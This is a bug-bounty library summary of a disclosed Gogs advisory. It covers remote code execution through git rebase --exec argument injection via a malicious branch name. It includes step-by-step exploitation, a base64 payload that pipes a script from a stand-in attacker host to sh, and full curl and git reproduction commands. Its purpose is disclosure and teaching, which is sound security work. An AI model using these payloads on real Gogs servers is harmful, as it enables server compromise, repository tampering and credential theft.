# Gogs vulnerable to RCE via git rebase --exec argument injection in pull request merge

Gogs passes PR base branch name to `git rebase` without `--`, so a branch named `--exec=<cmd>` runs arbitrary commands as the server user on merge.

- Payout: Research
- Severity: critical
- Program: Gogs
- Found by: Crypto-Cat, jburgess-r7
- Disclosed: 2026-06-23
- CVE: CVE-2026-52806
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-qf6p-p7ww-cwr9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-qf6p-p7ww-cwr9
- Tags: area:web domain:web impact:data-leak impact:privesc impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:incomplete-fix technique:source-review vuln:command-injection vuln:rce

**Target:** Gogs pull request merge (git rebase) endpoint
**Root cause:** Merge() passes pr.BaseBranch as a positional arg to `git rebase` without a `--` separator; RevParse only verifies the ref exists, not that it is safe against argument injection. The raw process.ExecDir call bypasses git-module's --end-of-options hardening.
**Steps:**
1. Create a repo and enable 'Allow rebase' in Settings > Advanced (repo creator is admin by default).
2. Push a branch named `--exec=touch${IFS}/tmp/rce_proof` (${IFS} bypasses git's space prohibition).
3. Open a PR with base = malicious branch, head = feature, via compare URL `/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2FBROWSER_RCE_PROOF...feature`.
4. Wait ~5s for background testPatch to mark PR Mergeable (fresh repo: Clone path succeeds, Checkout path later fails and status stays Mergeable).
5. Select 'Rebase before merging' and click Merge; server returns 500 but `git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'` already ran the command via sh -c.
6. Verify `/tmp/rce_proof` exists, owned by the Gogs process user.
**How found:** Recognized Merge() uses raw process.ExecDir instead of the hardened git-module API that had been patched with --end-of-options across prior argument-injection advisories; traced pr.BaseBranch from URL param through RevParse (which only checks ref existence) to the unguarded `git rebase` call.
**Exploitation:** Authenticated user (or anyone on default open-registration instances) creates own repo, enables rebase, pushes malicious branch, opens PR, and triggers rebase merge. `--exec` runs the command via `sh -c` after each replayed commit as the Gogs process user (git/UID 1000 by default in Docker). Forbidden chars are base64-encoded: `--exec=echo${IFS}<b64>|base64${IFS}-d|sh`. Yields full server compromise, cross-tenant repo read/write, DB credential theft.
**Escalation:** From authenticated user to server-level RCE; process user has filesystem access to all repos under REPOSITORY_ROOT, enabling cross-tenant data breach and supply-chain tampering. Open registration by default makes it effectively unauthenticated.
**Insight:** When a project has a history of argument-injection fixes, grep for raw exec.Command/process.ExecDir call sites that bypass the hardened wrapper library — the migrated API is safe but stragglers remain. Also: git refs legally allow `$ { } = -`, and `${IFS}` substitutes for spaces, so any ref passed positionally to git is a flag-injection candidate.

## Proof of concept (copied exactly from the original report)

**Malicious branch name injecting git rebase --exec**

```
--exec=touch${IFS}/tmp/rce_proof

When used as `pr.BaseBranch` in the rebase command:

git rebase --quiet '--exec=touch${IFS}/tmp/rce_proof' 'head_repo/feature'
```

**Base64-encoded remote payload branch name**

```
--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh

This was validated end-to-end: a `wget` command with a URL executed inside the Docker container and wrote the fetched HTML to disk.
```

**Manual browser reproduction commands**

```
curl -s -u attacker:Password123 -X POST http://localhost:3080/api/v1/user/repos \
  -H 'Content-Type: application/json' -d '{"name":"demo"}'

# Set up local repo with divergent branches
mkdir /tmp/demo && cd /tmp/demo && git init
git config user.email "attacker@test.com" && git config user.name "attacker"
echo "# Demo" > README.md && git add . && git commit -m "Initial commit"
git checkout -b feature
echo "feature" > feature.txt && git add . && git commit -m "Add feature"
git checkout master
echo "update" >> README.md && git add . && git commit -m "Update master"

# Create the malicious branch (same commit as master)
git update-ref 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF' HEAD

# Push all branches
git remote add origin http://attacker:Password123@localhost:3080/attacker/demo.git
git push origin master feature 'refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF:refs/heads/--exec=touch${IFS}/tmp/BROWSER_RCE_PROOF'
```

